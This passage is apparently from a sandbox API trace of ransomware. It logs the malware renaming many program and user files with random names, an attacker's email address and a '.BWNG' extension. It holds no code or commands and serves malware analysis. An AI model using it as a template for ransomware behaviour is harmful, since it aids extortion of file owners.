returned 1 [0115.111] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\he.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].fHZqChDC-1TETUMTL.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].fhzqchdc-1tetumtl.bwng"), dwFlags=0x1) returned 1 [0115.587] GetTickCount () returned 0x1164876 [0115.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25753944615) returned 1 [0115.588] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slv32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slv32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].ygRFqlNF-YgudavSj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ygrfqlnf-ygudavsj.bwng"), dwFlags=0x1) returned 1 [0115.589] GetTickCount () returned 0x1164876 [0115.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25754150022) returned 1 [0115.590] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].kOf4blCa-6XSuye8z.BWNG" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].kof4blca-6xsuye8z.bwng"), dwFlags=0x1) returned 1 [0115.591] GetTickCount () returned 0x1164876 [0115.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25754328123) returned 1 [0115.591] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].rWYyJi3J-Jukx1RLb.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].rwyyji3j-jukx1rlb.bwng"), dwFlags=0x1) returned 1 [0115.592] GetTickCount () returned 0x1164876 [0115.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25754458475) returned 1 [0115.593] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lv.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].HAtROy5c-oVcbQGcp.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].hatroy5c-ovcbqgcp.bwng"), dwFlags=0x1) returned 1 [0115.594] GetTickCount () returned 0x1164876 [0115.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25754576693) returned 1 [0115.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh89" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh89"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].ae0o7OoJ-Gt8SMPpE.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ae0o7ooj-gt8smppe.bwng"), dwFlags=0x1) returned 1 [0115.595] GetTickCount () returned 0x1164876 [0115.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25754722931) returned 1 [0115.595] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].07t3F5wX-idjKc0Cd.BWNG" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].07t3f5wx-idjkc0cd.bwng"), dwFlags=0x1) returned 1 [0115.597] GetTickCount () returned 0x1164885 [0115.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25754903889) returned 1 [0115.597] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\thimphu"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].5E6PN28W-mhCDyJ6U.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].5e6pn28w-mhcdyj6u.bwng"), dwFlags=0x1) returned 1 [0115.598] GetTickCount () returned 0x1164885 [0115.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25755032619) returned 1 [0115.598] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd43.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd43.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].i2Z9utLM-Y1ht0Kwc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].i2z9utlm-y1ht0kwc.bwng"), dwFlags=0x1) returned 1 [0115.599] GetTickCount () returned 0x1164885 [0115.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25755159275) returned 1 [0115.600] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].esYyhZmf-AvXZJ4rY.BWNG" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].esyyhzmf-avxzj4ry.bwng"), dwFlags=0x1) returned 1 [0115.601] GetTickCount () returned 0x1164885 [0115.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25755589896) returned 1 [0115.604] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\[billwong73@yahoo.com].vM56OOTg-YWaHjzTF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\[billwong73@yahoo.com].vm56ootg-ywahjztf.bwng"), dwFlags=0x1) returned 1 [0115.605] GetTickCount () returned 0x1164885 [0115.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25755767104) returned 1 [0115.606] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].X66zVnUM-QYLwMWWp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].x66zvnum-qylwmwwp.bwng"), dwFlags=0x1) returned 1 [0115.607] GetTickCount () returned 0x1164885 [0115.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25755920787) returned 1 [0115.607] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\[billwong73@yahoo.com].jepLz6ek-1tn4GMiW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\[billwong73@yahoo.com].jeplz6ek-1tn4gmiw.bwng"), dwFlags=0x1) returned 1 [0115.609] GetTickCount () returned 0x1164885 [0115.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25756114893) returned 1 [0115.609] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\london"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].rRQcVUUL-DaH6P4pW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].rrqcvuul-dah6p4pw.bwng"), dwFlags=0x1) returned 1 [0115.610] GetTickCount () returned 0x1164885 [0115.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25756257255) returned 1 [0115.611] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].X5PHchKB-1WmZUWrP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].x5phchkb-1wmzuwrp.bwng"), dwFlags=0x1) returned 1 [0115.612] GetTickCount () returned 0x1164885 [0115.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25756389975) returned 1 [0115.736] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].HX456np2-8MATt5ov.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].hx456np2-8matt5ov.bwng"), dwFlags=0x1) returned 1 [0115.739] GetTickCount () returned 0x1164912 [0115.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25769095822) returned 1 [0115.739] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].rTGK6Ovw-MSYVkFkR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].rtgk6ovw-msyvkfkr.bwng"), dwFlags=0x1) returned 1 [0115.741] GetTickCount () returned 0x1164912 [0115.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25769283147) returned 1 [0115.741] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\[billwong73@yahoo.com].w4WCc2Vr-BGvHW0JP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\[billwong73@yahoo.com].w4wcc2vr-bgvhw0jp.bwng"), dwFlags=0x1) returned 1 [0115.852] GetTickCount () returned 0x116497f [0115.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25780415437) returned 1 [0115.853] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\[billwong73@yahoo.com].luorm9nd-eRhHB23N.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\[billwong73@yahoo.com].luorm9nd-erhhb23n.bwng"), dwFlags=0x1) returned 1 [0115.854] GetTickCount () returned 0x116497f [0115.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25780623566) returned 1 [0115.854] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].xUg2ZhgK-WKKALJcS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].xug2zhgk-wkkaljcs.bwng"), dwFlags=0x1) returned 1 [0115.856] GetTickCount () returned 0x116497f [0115.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25780778550) returned 1 [0115.856] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jqs.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jqs.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].QghNY55k-rspViNoj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].qghny55k-rspvinoj.bwng"), dwFlags=0x1) returned 1 [0115.857] GetTickCount () returned 0x116497f [0115.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25780932431) returned 1 [0115.857] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\azores"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].1RX1hg9V-nXGzMelF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].1rx1hg9v-nxgzmelf.bwng"), dwFlags=0x1) returned 1 [0115.858] GetTickCount () returned 0x116497f [0115.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25781064643) returned 1 [0115.859] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ru.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].CwbABhXg-77CZhSRd.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].cwbabhxg-77czhsrd.bwng"), dwFlags=0x1) returned 1 [0115.860] GetTickCount () returned 0x116497f [0115.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25781214650) returned 1 [0115.860] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].zgpBFkPC-12J7vwMN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].zgpbfkpc-12j7vwmn.bwng"), dwFlags=0x1) returned 1 [0115.865] GetTickCount () returned 0x116498f [0115.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25781692566) returned 1 [0115.865] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hu.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].dweJQUzL-U43POTyl.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].dwejquzl-u43potyl.bwng"), dwFlags=0x1) returned 1 [0115.866] GetTickCount () returned 0x116498f [0115.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25781812779) returned 1 [0115.866] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ms.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].t4BkfTP5-QtJa2HiD.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].t4bkftp5-qtja2hid.bwng"), dwFlags=0x1) returned 1 [0116.083] GetTickCount () returned 0x1164a69 [0116.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25803526883) returned 1 [0116.083] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\riga"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].3SDSflRO-twOtrPEL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].3sdsflro-twotrpel.bwng"), dwFlags=0x1) returned 1 [0116.085] GetTickCount () returned 0x1164a69 [0116.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25803712788) returned 1 [0116.085] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].hb7TrpCY-rzXC8g4N.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].hb7trpcy-rzxc8g4n.bwng"), dwFlags=0x1) returned 1 [0116.086] GetTickCount () returned 0x1164a69 [0116.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25803861959) returned 1 [0116.087] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].JVw0j753-x6AAvqAj.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].jvw0j753-x6aavqaj.bwng"), dwFlags=0x1) returned 1 [0116.088] GetTickCount () returned 0x1164a69 [0116.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25804029334) returned 1 [0116.088] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\[billwong73@yahoo.com].juHDZ0jS-h68owX6B.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\[billwong73@yahoo.com].juhdz0js-h68owx6b.bwng"), dwFlags=0x1) returned 1 [0116.090] GetTickCount () returned 0x1164a69 [0116.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25804189669) returned 1 [0116.090] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\[billwong73@yahoo.com].17GkfuAs-hNDBGhU9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\[billwong73@yahoo.com].17gkfuas-hndbghu9.bwng"), dwFlags=0x1) returned 1 [0116.091] GetTickCount () returned 0x1164a69 [0116.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25804332755) returned 1 [0116.091] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\[billwong73@yahoo.com].HM02ljPl-U7c0Fot1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\[billwong73@yahoo.com].hm02ljpl-u7c0fot1.bwng"), dwFlags=0x1) returned 1 [0116.093] GetTickCount () returned 0x1164a69 [0116.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25804493115) returned 1 [0116.093] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\[billwong73@yahoo.com].lvcB8HFg-iURncgFO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\[billwong73@yahoo.com].lvcb8hfg-iurncgfo.bwng"), dwFlags=0x1) returned 1 [0116.094] GetTickCount () returned 0x1164a69 [0116.094] QueryPerformanceCounter (in: 